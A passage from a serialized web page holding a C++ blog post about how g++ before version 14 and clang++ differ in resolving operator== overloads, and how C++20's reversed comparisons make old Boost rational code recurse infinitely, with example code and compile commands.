operator",{"type":24,"tag":930,"props":93579,"children":93580},{"style":959},[93581],{"type":30,"value":93582},"==(",{"type":24,"tag":930,"props":93584,"children":93585},{"style":937},[93586],{"type":30,"value":12762},{"type":24,"tag":930,"props":93588,"children":93589},{"style":943},[93590],{"type":30,"value":9031},{"type":24,"tag":930,"props":93592,"children":93593},{"style":937},[93594],{"type":30,"value":6230},{"type":24,"tag":930,"props":93596,"children":93597},{"style":1023},[93598],{"type":30,"value":6515},{"type":24,"tag":930,"props":93600,"children":93601},{"style":959},[93602],{"type":30,"value":5579},{"type":24,"tag":930,"props":93604,"children":93605},{"style":937},[93606],{"type":30,"value":12762},{"type":24,"tag":930,"props":93608,"children":93609},{"style":959},[93610],{"type":30,"value":981},{"type":24,"tag":930,"props":93612,"children":93613},{"class":932,"line":1131},[93614,93619,93624,93629,93634],{"type":24,"tag":930,"props":93615,"children":93616},{"style":959},[93617],{"type":30,"value":93618},"        std::cout ",{"type":24,"tag":930,"props":93620,"children":93621},{"style":1158},[93622],{"type":30,"value":93623},"\u003C\u003C",{"type":24,"tag":930,"props":93625,"children":93626},{"style":1270},[93627],{"type":30,"value":93628}," \"clang++ resolved member\"",{"type":24,"tag":930,"props":93630,"children":93631},{"style":1158},[93632],{"type":30,"value":93633}," \u003C\u003C",{"type":24,"tag":930,"props":93635,"children":93636},{"style":959},[93637],{"type":30,"value":93638}," std::endl;\n",{"type":24,"tag":930,"props":93640,"children":93641},{"class":932,"line":1144},[93642,93646,93650],{"type":24,"tag":930,"props":93643,"children":93644},{"style":1079},[93645],{"type":30,"value":18847},{"type":24,"tag":930,"props":93647,"children":93648},{"style":937},[93649],{"type":30,"value":15576},{"type":24,"tag":930,"props":93651,"children":93652},{"style":959},[93653],{"type":30,"value":5539},{"type":24,"tag":930,"props":93655,"children":93656},{"class":932,"line":1169},[93657],{"type":24,"tag":930,"props":93658,"children":93659},{"style":959},[93660],{"type":30,"value":1840},{"type":24,"tag":930,"props":93662,"children":93663},{"class":932,"line":1191},[93664],{"type":24,"tag":930,"props":93665,"children":93666},{"style":959},[93667],{"type":30,"value":19679},{"type":24,"tag":930,"props":93669,"children":93670},{"class":932,"line":1223},[93671],{"type":24,"tag":930,"props":93672,"children":93673},{"emptyLinePlaceholder":16},[93674],{"type":30,"value":2412},{"type":24,"tag":930,"props":93676,"children":93677},{"class":932,"line":1281},[93678,93682,93686,93690,93695,93699,93703,93707],{"type":24,"tag":930,"props":93679,"children":93680},{"style":937},[93681],{"type":30,"value":69302},{"type":24,"tag":930,"props":93683,"children":93684},{"style":959},[93685],{"type":30,"value":11828},{"type":24,"tag":930,"props":93687,"children":93688},{"style":937},[93689],{"type":30,"value":73495},{"type":24,"tag":930,"props":93691,"children":93692},{"style":943},[93693],{"type":30,"value":93694}," Arg",{"type":24,"tag":930,"props":93696,"children":93697},{"style":959},[93698],{"type":30,"value":962},{"type":24,"tag":930,"props":93700,"children":93701},{"style":937},[93702],{"type":30,"value":73495},{"type":24,"tag":930,"props":93704,"children":93705},{"style":943},[93706],{"type":30,"value":93513},{"type":24,"tag":930,"props":93708,"children":93709},{"style":959},[93710],{"type":30,"value":9105},{"type":24,"tag":930,"props":93712,"children":93713},{"class":932,"line":1313},[93714,93718,93722,93726,93730,93734,93738,93743,93747,93751,93755,93759,93763,93767,93771,93776],{"type":24,"tag":930,"props":93715,"children":93716},{"style":937},[93717],{"type":30,"value":32776},{"type":24,"tag":930,"props":93719,"children":93720},{"style":937},[93721],{"type":30,"value":93577},{"type":24,"tag":930,"props":93723,"children":93724},{"style":959},[93725],{"type":30,"value":93582},{"type":24,"tag":930,"props":93727,"children":93728},{"style":937},[93729],{"type":30,"value":12762},{"type":24,"tag":930,"props":93731,"children":93732},{"style":943},[93733],{"type":30,"value":93529},{"type":24,"tag":930,"props":93735,"children":93736},{"style":959},[93737],{"type":30,"value":1350},{"type":24,"tag":930,"props":93739,"children":93740},{"style":943},[93741],{"type":30,"value":93742},"IntType",{"type":24,"tag":930,"props":93744,"children":93745},{"style":959},[93746],{"type":30,"value":2261},{"type":24,"tag":930,"props":93748,"children":93749},{"style":937},[93750],{"type":30,"value":6230},{"type":24,"tag":930,"props":93752,"children":93753},{"style":1023},[93754],{"type":30,"value":92902},{"type":24,"tag":930,"props":93756,"children":93757},{"style":959},[93758],{"type":30,"value":962},{"type":24,"tag":930,"props":93760,"children":93761},{"style":937},[93762],{"type":30,"value":12762},{"type":24,"tag":930,"props":93764,"children":93765},{"style":943},[93766],{"type":30,"value":93694},{"type":24,"tag":930,"props":93768,"children":93769},{"style":937},[93770],{"type":30,"value":6230},{"type":24,"tag":930,"props":93772,"children":93773},{"style":1023},[93774],{"type":30,"value":93775}," b",{"type":24,"tag":930,"props":93777,"children":93778},{"style":959},[93779],{"type":30,"value":1503},{"type":24,"tag":930,"props":93781,"children":93782},{"class":932,"line":1335},[93783,93788,93792,93797,93801],{"type":24,"tag":930,"props":93784,"children":93785},{"style":959},[93786],{"type":30,"value":93787},"    std::cout ",{"type":24,"tag":930,"props":93789,"children":93790},{"style":1158},[93791],{"type":30,"value":93623},{"type":24,"tag":930,"props":93793,"children":93794},{"style":1270},[93795],{"type":30,"value":93796}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":930,"props":93798,"children":93799},{"style":1158},[93800],{"type":30,"value":93633},{"type":24,"tag":930,"props":93802,"children":93803},{"style":959},[93804],{"type":30,"value":93638},{"type":24,"tag":930,"props":93806,"children":93807},{"class":932,"line":1376},[93808,93812,93816],{"type":24,"tag":930,"props":93809,"children":93810},{"style":1079},[93811],{"type":30,"value":20090},{"type":24,"tag":930,"props":93813,"children":93814},{"style":937},[93815],{"type":30,"value":12167},{"type":24,"tag":930,"props":93817,"children":93818},{"style":959},[93819],{"type":30,"value":5539},{"type":24,"tag":930,"props":93821,"children":93822},{"class":932,"line":1418},[93823],{"type":24,"tag":930,"props":93824,"children":93825},{"style":959},[93826],{"type":30,"value":2528},{"type":24,"tag":930,"props":93828,"children":93829},{"class":932,"line":1438},[93830],{"type":24,"tag":930,"props":93831,"children":93832},{"emptyLinePlaceholder":16},[93833],{"type":30,"value":2412},{"type":24,"tag":930,"props":93835,"children":93836},{"class":932,"line":1479},[93837,93841,93846],{"type":24,"tag":930,"props":93838,"children":93839},{"style":937},[93840],{"type":30,"value":22149},{"type":24,"tag":930,"props":93842,"children":93843},{"style":1002},[93844],{"type":30,"value":93845}," main",{"type":24,"tag":930,"props":93847,"children":93848},{"style":959},[93849],{"type":30,"value":18839},{"type":24,"tag":930,"props":93851,"children":93852},{"class":932,"line":1506},[93853,93858,93862,93866,93870],{"type":24,"tag":930,"props":93854,"children":93855},{"style":959},[93856],{"type":30,"value":93857},"    rational",{"type":24,"tag":930,"props":93859,"children":93860},{"style":1158},[93861],{"type":30,"value":1350},{"type":24,"tag":930,"props":93863,"children":93864},{"style":937},[93865],{"type":30,"value":22149},{"type":24,"tag":930,"props":93867,"children":93868},{"style":1158},[93869],{"type":30,"value":2261},{"type":24,"tag":930,"props":93871,"children":93872},{"style":959},[93873],{"type":30,"value":93874}," r;\n",{"type":24,"tag":930,"props":93876,"children":93877},{"class":932,"line":1525},[93878,93882,93887,93891,93895],{"type":24,"tag":930,"props":93879,"children":93880},{"style":1079},[93881],{"type":30,"value":20090},{"type":24,"tag":930,"props":93883,"children":93884},{"style":959},[93885],{"type":30,"value":93886}," r ",{"type":24,"tag":930,"props":93888,"children":93889},{"style":1158},[93890],{"type":30,"value":1239},{"type":24,"tag":930,"props":93892,"children":93893},{"style":1242},[93894],{"type":30,"value":1245},{"type":24,"tag":930,"props":93896,"children":93897},{"style":959},[93898],{"type":30,"value":5539},{"type":24,"tag":930,"props":93900,"children":93901},{"class":932,"line":1569},[93902],{"type":24,"tag":930,"props":93903,"children":93904},{"style":959},[93905],{"type":30,"value":2528},{"type":24,"tag":96,"props":93907,"children":93908},{},[93909],{"type":24,"tag":100,"props":93910,"children":93911},{},[93912],{"type":30,"value":93913},"Compile with g++\u003C14:",{"type":24,"tag":920,"props":93915,"children":93917},{"code":93916,"language":7360,"meta":7,"className":7361,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[93918],{"type":24,"tag":156,"props":93919,"children":93920},{"__ignoreMap":7},[93921],{"type":24,"tag":930,"props":93922,"children":93923},{"class":932,"line":933},[93924,93929,93934,93939,93944,93948,93953],{"type":24,"tag":930,"props":93925,"children":93926},{"style":1002},[93927],{"type":30,"value":93928},"g++",{"type":24,"tag":930,"props":93930,"children":93931},{"style":1270},[93932],{"type":30,"value":93933}," -std=c++17",{"type":24,"tag":930,"props":93935,"children":93936},{"style":1270},[93937],{"type":30,"value":93938}," main.cpp",{"type":24,"tag":930,"props":93940,"children":93941},{"style":1270},[93942],{"type":30,"value":93943}," -o",{"type":24,"tag":930,"props":93945,"children":93946},{"style":1270},[93947],{"type":30,"value":33769},{"type":24,"tag":930,"props":93949,"children":93950},{"style":959},[93951],{"type":30,"value":93952}," && ",{"type":24,"tag":930,"props":93954,"children":93955},{"style":1002},[93956],{"type":30,"value":93957},"./test\n",{"type":24,"tag":33,"props":93959,"children":93960},{},[93961],{"type":30,"value":93962},"Output (on g++ 11.4):",{"type":24,"tag":920,"props":93964,"children":93966},{"code":93965},"g++ \u003C14 resolved non-member\n",[93967],{"type":24,"tag":156,"props":93968,"children":93969},{"__ignoreMap":7},[93970],{"type":30,"value":93965},{"type":24,"tag":96,"props":93972,"children":93973},{},[93974],{"type":24,"tag":100,"props":93975,"children":93976},{},[93977],{"type":30,"value":93978},"Compile with clang++:",{"type":24,"tag":920,"props":93980,"children":93982},{"code":93981,"language":7360,"meta":7,"className":7361,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[93983],{"type":24,"tag":156,"props":93984,"children":93985},{"__ignoreMap":7},[93986],{"type":24,"tag":930,"props":93987,"children":93988},{"class":932,"line":933},[93989,93994,93998,94002,94006,94010,94014],{"type":24,"tag":930,"props":93990,"children":93991},{"style":1002},[93992],{"type":30,"value":93993},"clang++",{"type":24,"tag":930,"props":93995,"children":93996},{"style":1270},[93997],{"type":30,"value":93933},{"type":24,"tag":930,"props":93999,"children":94000},{"style":1270},[94001],{"type":30,"value":93938},{"type":24,"tag":930,"props":94003,"children":94004},{"style":1270},[94005],{"type":30,"value":93943},{"type":24,"tag":930,"props":94007,"children":94008},{"style":1270},[94009],{"type":30,"value":33769},{"type":24,"tag":930,"props":94011,"children":94012},{"style":959},[94013],{"type":30,"value":93952},{"type":24,"tag":930,"props":94015,"children":94016},{"style":1002},[94017],{"type":30,"value":93957},{"type":24,"tag":33,"props":94019,"children":94020},{},[94021],{"type":30,"value":94022},"Output:",{"type":24,"tag":920,"props":94024,"children":94026},{"code":94025},"clang++ resolved member\n",[94027],{"type":24,"tag":156,"props":94028,"children":94029},{"__ignoreMap":7},[94030],{"type":30,"value":94025},{"type":24,"tag":33,"props":94032,"children":94033},{},[94034],{"type":30,"value":94035},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":21895,"props":94037,"children":94038},{},[],{"type":24,"tag":68,"props":94040,"children":94042},{"id":94041},"part-ii-c20s-symmetric-comparison-feature",[94043],{"type":30,"value":94044},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":151,"props":94046,"children":94048},{"id":94047},"what-changed-in-c20",[94049],{"type":30,"value":94050},"What Changed in C++20?",{"type":24,"tag":33,"props":94052,"children":94053},{},[94054,94056,94069,94070,94075],{"type":30,"value":94055},"C++20 introduced the ",{"type":24,"tag":37,"props":94057,"children":94060},{"href":94058,"rel":94059},"https://en.cppreference.com/w/cpp/language/operator_comparison",[41],[94061,94063],{"type":30,"value":94062},"spaceship operator ",{"type":24,"tag":156,"props":94064,"children":94066},{"className":94065},[],[94067],{"type":30,"value":94068},"\u003C=>",{"type":30,"value":211},{"type":24,"tag":275,"props":94071,"children":94072},{},[94073],{"type":30,"value":94074},"defaulted comparison rewrites",{"type":30,"value":436},{"type":24,"tag":33,"props":94077,"children":94078},{},[94079,94081,94086],{"type":30,"value":94080},"When you define a two-argument ",{"type":24,"tag":156,"props":94082,"children":94084},{"className":94083},[],[94085],{"type":30,"value":93320},{"type":30,"value":94087},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":96,"props":94089,"children":94090},{},[94091,94102],{"type":24,"tag":100,"props":94092,"children":94093},{},[94094,94096],{"type":30,"value":94095},"If you define: ",{"type":24,"tag":156,"props":94097,"children":94099},{"className":94098},[],[94100],{"type":30,"value":94101},"bool operator==(T1, T2);",{"type":24,"tag":100,"props":94103,"children":94104},{},[94105,94107,94113],{"type":30,"value":94106},"Then ",{"type":24,"tag":156,"props":94108,"children":94110},{"className":94109},[],[94111],{"type":30,"value":94112},"T2 == T1",{"type":30,"value":94114}," may call the same function by reversing the arguments.",{"type":24,"tag":33,"props":94116,"children":94117},{},[94118,94120,94125,94126,94131,94133,94139,94141,94146],{"type":30,"value":94119},"This rewrite is ",{"type":24,"tag":275,"props":94121,"children":94122},{},[94123],{"type":30,"value":94124},"recursive",{"type":30,"value":18434},{"type":24,"tag":156,"props":94127,"children":94129},{"className":94128},[],[94130],{"type":30,"value":93312},{"type":30,"value":94132}," becomes ",{"type":24,"tag":156,"props":94134,"children":94136},{"className":94135},[],[94137],{"type":30,"value":94138},"b == a",{"type":30,"value":94140},", which becomes ",{"type":24,"tag":156,"props":94142,"children":94144},{"className":94143},[],[94145],{"type":30,"value":93312},{"type":30,"value":94147}," again, and so on — if not handled carefully.",{"type":24,"tag":33,"props":94149,"children":94150},{},[94151],{"type":30,"value":94152},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":21895,"props":94154,"children":94155},{},[],{"type":24,"tag":68,"props":94157,"children":94159},{"id":94158},"part-iii-the-boost-trapdoor",[94160],{"type":30,"value":94161},"Part III: The Boost Trapdoor",{"type":24,"tag":33,"props":94163,"children":94164},{},[94165,94167,94173,94175,94180],{"type":30,"value":94166},"The old Boost ",{"type":24,"tag":156,"props":94168,"children":94170},{"className":94169},[],[94171],{"type":30,"value":94172},"rational",{"type":30,"value":94174}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":156,"props":94176,"children":94178},{"className":94177},[],[94179],{"type":30,"value":93320},{"type":30,"value":476},{"type":24,"tag":920,"props":94182,"children":94184},{"code":94183,"language":32203,"meta":7,"className":32201,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[94185],{"type":24,"tag":156,"props":94186,"children":94187},{"__ignoreMap":7},[94188,94223,94246,94258,94265,94272,94279,94286,94293,94316,94404,94411,94462,94469,94476,94483,94490,94525,94533,94561,94600,94665,94672,94692],{"type":24,"tag":930,"props":94189,"children":94190},{"class":932,"line":933},[94191,94195,94199,94203,94207,94211,94215,94219],{"type":24,"tag":930,"props":94192,"children":94193},{"style":937},[94194],{"type":30,"value":69302},{"type":24,"tag":930,"props":94196,"children":94197},{"style":959},[94198],{"type":30,"value":11828},{"type":24,"tag":930,"props":94200,"children":94201},{"style":937},[94202],{"type":30,"value":73495},{"type":24,"tag":930,"props":94204,"children":94205},{"style":943},[94206],{"type":30,"value":93694},{"type":24,"tag":930,"props":94208,"children":94209},{"style":959},[94210],{"type":30,"value":962},{"type":24,"tag":930,"props":94212,"children":94213},{"style":937},[94214],{"type":30,"value":73495},{"type":24,"tag":930,"props":94216,"children":94217},{"style":943},[94218],{"type":30,"value":93513},{"type":24,"tag":930,"props":94220,"children":94221},{"style":959},[94222],{"type":30,"value":9105},{"type":24,"tag":930,"props":94224,"children":94225},{"class":932,"line":984},[94226,94230,94234,94238,94242],{"type":24,"tag":930,"props":94227,"children":94228},{"style":937},[94229],{"type":30,"value":69302},{"type":24,"tag":930,"props":94231,"children":94232},{"style":959},[94233],{"type":30,"value":11828},{"type":24,"tag":930,"props":94235,"children":94236},{"style":937},[94237],{"type":30,"value":93508},{"type":24,"tag":930,"props":94239,"children":94240},{"style":943},[94241],{"type":30,"value":93513},{"type":24,"tag":930,"props":94243,"children":94244},{"style":959},[94245],{"type":30,"value":9105},{"type":24,"tag":930,"props":94247,"children":94248},{"class":932,"line":993},[94249,94253],{"type":24,"tag":930,"props":94250,"children":94251},{"style":937},[94252],{"type":30,"value":73495},{"type":24,"tag":930,"props":94254,"children":94255},{"style":943},[94256],{"type":30,"value":94257}," rational\n",{"type":24,"tag":930,"props":94259,"children":94260},{"class":932,"line":1057},[94261],{"type":24,"tag":930,"props":94262,"children":94263},{"style":959},[94264],{"type":30,"value":13987},{"type":24,"tag":930,"props":94266,"children":94267},{"class":932,"line":1066},[94268],{"type":24,"tag":930,"props":94269,"children":94270},{"style":959},[94271],{"type":30,"value":23443},{"type":24,"tag":930,"props":94273,"children":94274},{"class":932,"line":1075},[94275],{"type":24,"tag":930,"props":94276,"children":94277},{"style":937},[94278],{"type":30,"value":93541},{"type":24,"tag":930,"props":94280,"children":94281},{"class":932,"line":1122},[94282],{"type":24,"tag":930,"props":94283,"children":94284},{"style":959},[94285],{"type":30,"value":23443},{"type":24,"tag":930,"props":94287,"children":94288},{"class":932,"line":1131},[94289],{"type":24,"tag":930,"props":94290,"children":94291},{"style":959},[94292],{"type":30,"value":64873},{"type":24,"tag":930,"props":94294,"children":94295},{"class":932,"line":1144},[94296,94300,94304,94308,94312],{"type":24,"tag":930,"props":94297,"children":94298},{"style":937},[94299],{"type":30,"value":93549},{"type":24,"tag":930,"props":94301,"children":94302},{"style":959},[94303],{"type":30,"value":11828},{"type":24,"tag":930,"props":94305,"children":94306},{"style":937},[94307],{"type":30,"value":73495},{"type":24,"tag":930,"props":94309,"children":94310},{"style":943},[94311],{"type":30,"value":9031},{"type":24,"tag":930,"props":94313,"children":94314},{"style":959},[94315],{"type":30,"value":9105},{"type":24,"tag":930,"props":94317,"children":94318},{"class":932,"line":1169},[94319,94324,94328,94333,94337,94341,94345,94350,94354,94358,94362,94366,94370,94374,94379,94383,94387,94391,94395,94399],{"type":24,"tag":930,"props":94320,"children":94321},{"style":959},[94322],{"type":30,"value":94323},"    BOOST_CONSTEXPR ",{"type":24,"tag":930,"props":94325,"children":94326},{"style":937},[94327],{"type":30,"value":93508},{"type":24,"tag":930,"props":94329,"children":94330},{"style":959},[94331],{"type":30,"value":94332}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":930,"props":94334,"children":94335},{"style":943},[94336],{"type":30,"value":9100},{"type":24,"tag":930,"props":94338,"children":94339},{"style":959},[94340],{"type":30,"value":962},{"type":24,"tag":930,"props":94342,"children":94343},{"style":943},[94344],{"type":30,"value":93742},{"type":24,"tag":930,"props":94346,"children":94347},{"style":959},[94348],{"type":30,"value":94349},">::",{"type":24,"tag":930,"props":94351,"children":94352},{"style":943},[94353],{"type":30,"value":42239},{"type":24,"tag":930,"props":94355,"children":94356},{"style":959},[94357],{"type":30,"value":962},{"type":24,"tag":930,"props":94359,"children":94360},{"style":937},[94361],{"type":30,"value":32776},{"type":24,"tag":930,"props":94363,"children":94364},{"style":959},[94365],{"type":30,"value":94349},{"type":24,"tag":930,"props":94367,"children":94368},{"style":943},[94369],{"type":30,"value":35844},{"type":24,"tag":930,"props":94371,"children":94372},{"style":937},[94373],{"type":30,"value":93577},{"type":24,"tag":930,"props":94375,"children":94376},{"style":959},[94377],{"type":30,"value":94378},"== (",{"type":24,"tag":930,"props":94380,"children":94381},{"style":937},[94382],{"type":30,"value":12762},{"type":24,"tag":930,"props":94384,"children":94385},{"style":943},[94386],{"type":30,"value":9031},{"type":24,"tag":930,"props":94388,"children":94389},{"style":937},[94390],{"type":30,"value":6230},{"type":24,"tag":930,"props":94392,"children":94393},{"style":1023},[94394],{"type":30,"value":6515},{"type":24,"tag":930,"props":94396,"children":94397},{"style":959},[94398],{"type":30,"value":5579},{"type":24,"tag":930,"props":94400,"children":94401},{"style":937},[94402],{"type":30,"value":94403},"const\n",{"type":24,"tag":930,"props":94405,"children":94406},{"class":932,"line":1191},[94407],{"type":24,"tag":930,"props":94408,"children":94409},{"style":959},[94410],{"type":30,"value":1128},{"type":24,"tag":930,"props":94412,"children":94413},{"class":932,"line":1223},[94414,94419,94424,94428,94432,94436,94440,94444,94448,94453,94457],{"type":24,"tag":930,"props":94415,"children":94416},{"style":1079},[94417],{"type":30,"value":94418},"       return",{"type":24,"tag":930,"props":94420,"children":94421},{"style":959},[94422],{"type":30,"value":94423}," ((den ",{"type":24,"tag":930,"props":94425,"children":94426},{"style":1158},[94427],{"type":30,"value":1239},{"type":24,"tag":930,"props":94429,"children":94430},{"style":1002},[94431],{"type":30,"value":93513},{"type":24,"tag":930,"props":94433,"children":94434},{"style":959},[94435],{"type":30,"value":1010},{"type":24,"tag":930,"props":94437,"children":94438},{"style":1242},[94439],{"type":30,"value":7129},{"type":24,"tag":930,"props":94441,"children":94442},{"style":959},[94443],{"type":30,"value":11946},{"type":24,"tag":930,"props":94445,"children":94446},{"style":1158},[94447],{"type":30,"value":5584},{"type":24,"tag":930,"props":94449,"children":94450},{"style":959},[94451],{"type":30,"value":94452}," (num ",{"type":24,"tag":930,"props":94454,"children":94455},{"style":1158},[94456],{"type":30,"value":1239},{"type":24,"tag":930,"props":94458,"children":94459},{"style":959},[94460],{"type":30,"value":94461}," i));\n",{"type":24,"tag":930,"props":94463,"children":94464},{"class":932,"line":1281},[94465],{"type":24,"tag":930,"props":94466,"children":94467},{"style":959},[94468],{"type":30,"value":1840},{"type":24,"tag":930,"props":94470,"children":94471},{"class":932,"line":1313},[94472],{"type":24,"tag":930,"props":94473,"children":94474},{"style":959},[94475],{"type":30,"value":23443},{"type":24,"tag":930,"props":94477,"children":94478},{"class":932,"line":1335},[94479],{"type":24,"tag":930,"props":94480,"children":94481},{"style":959},[94482],{"type":30,"value":2528},{"type":24,"tag":930,"props":94484,"children":94485},{"class":932,"line":1376},[94486],{"type":24,"tag":930,"props":94487,"children":94488},{"emptyLinePlaceholder":16},[94489],{"type":30,"value":2412},{"type":24,"tag":930,"props":94491,"children":94492},{"class":932,"line":1418},[94493,94497,94501,94505,94509,94513,94517,94521],{"type":24,"tag":930,"props":94494,"children":94495},{"style":937},[94496],{"type":30,"value":69302},{"type":24,"tag":930,"props":94498,"children":94499},{"style":959},[94500],{"type":30,"value":11828},{"type":24,"tag":930,"props":94502,"children":94503},{"style":937},[94504],{"type":30,"value":73495},{"type":24,"tag":930,"props":94506,"children":94507},{"style":943},[94508],{"type":30,"value":93694},{"type":24,"tag":930,"props":94510,"children":94511},{"style":959},[94512],{"type":30,"value":962},{"type":24,"tag":930,"props":94514,"children":94515},{"style":937},[94516],{"type":30,"value":73495},{"type":24,"tag":930,"props":94518,"children":94519},{"style":943},[94520],{"type":30,"value":93513},{"type":24,"tag":930,"props":94522,"children":94523},{"style":959},[94524],{"type":30,"value":9105},{"type":24,"tag":930,"props":94526,"children":94527},{"class":932,"line":1438},[94528],{"type":24,"tag":930,"props":94529,"children":94530},{"style":959},[94531],{"type":30,"value":94532},"BOOST_CONSTEXPR\n",{"type":24,"tag":930,"props":94534,"children":94535},{"class":932,"line":1479},[94536,94541,94546,94551,94556],{"type":24,"tag":930,"props":94537,"children":94538},{"style":937},[94539],{"type":30,"value":94540},"inline",{"type":24,"tag":930,"props":94542,"children":94543},{"style":937},[94544],{"type":30,"value":94545}," typename",{"type":24,"tag":930,"props":94547,"children":94548},{"style":959},[94549],{"type":30,"value":94550}," boost::",{"type":24,"tag":930,"props":94552,"children":94553},{"style":943},[94554],{"type":30,"value":94555},"enable_if_c",{"type":24,"tag":930,"props":94557,"children":94558},{"style":1158},[94559],{"type":30,"value":94560}," \u003C\n",{"type":24,"tag":930,"props":94562,"children":94563},{"class":932,"line":1506},[94564,94569,94574,94578,94582,94587,94591,94595],{"type":24,"tag":930,"props":94565,"children":94566},{"style":959},[94567],{"type":30,"value":94568},"   rational_detail::is_compatible_integer\u003C",{"type":24,"tag":930,"props":94570,"children":94571},{"style":943},[94572],{"type":30,"value":94573},"Arg",{"type":24,"tag":930,"props":94575,"children":94576},{"style":959},[94577],{"type":30,"value":962},{"type":24,"tag":930,"props":94579,"children":94580},{"style":943},[94581],{"type":30,"value":93742},{"type":24,"tag":930,"props":94583,"children":94584},{"style":959},[94585],{"type":30,"value":94586},">::value, ",{"type":24,"tag":930,"props":94588,"children":94589},{"style":937},[94590],{"type":30,"value":32776},{"type":24,"tag":930,"props":94592,"children":94593},{"style":1158},[94594],{"type":30,"value":2261},{"type":24,"tag":930,"props":94596,"children":94597},{"style":959},[94598],{"type":30,"value":94599},"::type\n",{"type":24,"tag":930,"props":94601,"children":94602},{"class":932,"line":1525},[94603,94608,94613,94617,94621,94625,94629,94633,94637,94641,94645,94649,94653,94657,94661],{"type":24,"tag":930,"props":94604,"children":94605},{"style":937},[94606],{"type":30,"value":94607},"   operator",{"type":24,"tag":930,"props":94609,"children":94610},{"style":959},[94611],{"type":30,"value":94612}," == (",{"type":24,"tag":930,"props":94614,"children":94615},{"style":937},[94616],{"type":30,"value":12762},{"type":24,"tag":930,"props":94618,"children":94619},{"style":943},[94620],{"type":30,"value":93694},{"type":24,"tag":930,"props":94622,"children":94623},{"style":937},[94624],{"type":30,"value":6230},{"type":24,"tag":930,"props":94626,"children":94627},{"style":1023},[94628],{"type":30,"value":93775},{"type":24,"tag":930,"props":94630,"children":94631},{"style":959},[94632],{"type":30,"value":962},{"type":24,"tag":930,"props":94634,"children":94635},{"style":937},[94636],{"type":30,"value":12762},{"type":24,"tag":930,"props":94638,"children":94639},{"style":943},[94640],{"type":30,"value":93529},{"type":24,"tag":930,"props":94642,"children":94643},{"style":959},[94644],{"type":30,"value":1350},{"type":24,"tag":930,"props":94646,"children":94647},{"style":943},[94648],{"type":30,"value":93742},{"type":24,"tag":930,"props":94650,"children":94651},{"style":959},[94652],{"type":30,"value":2261},{"type":24,"tag":930,"props":94654,"children":94655},{"style":937},[94656],{"type":30,"value":6230},{"type":24,"tag":930,"props":94658,"children":94659},{"style":1023},[94660],{"type":30,"value":92902},{"type":24,"tag":930,"props":94662,"children":94663},{"style":959},[94664],{"type":30,"value":1054},{"type":24,"tag":930,"props":94666,"children":94667},{"class":932,"line":1569},[94668],{"type":24,"tag":930,"props":94669,"children":94670},{"style":959},[94671],{"type":30,"value":13987},{"type":24,"tag":930,"props":94673,"children":94674},{"class":932,"line":1592},[94675,94679,94683,94687],{"type":24,"tag":930,"props":94676,"children":94677},{"style":1079},[94678],{"type":30,"value":42444},{"type":24,"tag":930,"props":94680,"children":94681},{"style":959},[94682],{"type":30,"value":19865},{"type":24,"tag":930,"props":94684,"children":94685},{"style":1158},[94686],{"type":30,"value":1239},{"type":24,"tag":930,"props":94688,"children":94689},{"style":959},[94690],{"type":30,"value":94691}," b; \n",{"type":24,"tag":930,"props":94693,"children":94694},{"class":932,"line":1610},[94695],{"type":24,"tag":930,"props":94696,"children":94697},{"style":959},[94698],{"type":30,"value":2528},{"type":24,"tag":33,"props":94700,"children":94701},{},[94702,94704,94710],{"type":30,"value":94703},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":156,"props":94705,"children":94707},{"className":94706},[],[94708],{"type":30,"value":94709},"rhs == lhs",{"type":30,"value":94711}," would fall back to member overloads if available. All good.",{"type":24,"tag":33,"props":94713,"children":94714},{},[94715,94717,94722,94723,94729],{"type":30,"value":94716},"But under ",{"type":24,"tag":156,"props":94718,"children":94720},{"className":94719},[],[94721],{"type":30,"value":93266},{"type":30,"value":24606},{"type":24,"tag":156,"props":94724,"children":94726},{"className":94725},[],[94727],{"type":30,"value":94728},"G++ \u003C 14",{"type":30,"value":476},{"type":24,"tag":96,"props":94731,"children":94732},{},[94733,94738,94743,94748],{"type":24,"tag":100,"props":94734,"children":94735},{},[94736],{"type":30,"value":94737},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":100,"props":94739,"children":94740},{},[94741],{"type":30,"value":94742},"C++20 reverses the comparison",{"type":24,"tag":100,"props":94744,"children":94745},{},[94746],{"type":30,"value":94747},"Which calls the same function again with arguments flipped",{"type":24,"tag":100,"props":94749,"children":94750},{},[94751],{"type":30,"value":94752},"And so on...",{"type":24,"tag":33,"props":94754,"children":94755},{},[94756,94758,94763],{"type":30,"value":94757},"This creates ",{"type":24,"tag":275,"props":94759,"children":94760},{},[94761],{"type":30,"value":94762},"infinite recursion",{"type":30,"value":436},{"type":24,"tag":33,"props":94765,"children":94766},{},[94767],{"type":30,"value":94768},"A minimal example:",{"type":24,"tag":920,"props":94770,"children":94772},{"code":94771,"language":32203,"meta":7,"className":32201,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[94773],{"type":24,"tag":156,"props":94774,"children":94775},{"__ignoreMap":7},[94776,94784,94796,94803,94818,94842,94865],{"type":24,"tag":930,"props":94777,"children":94778},{"class":932,"line":933},[94779],{"type":24,"tag":930,"props":94780,"children":94781},{"style":1422},[94782],{"type":30,"value":94783},"// g++ -std=c++20 -o crash main.cpp && 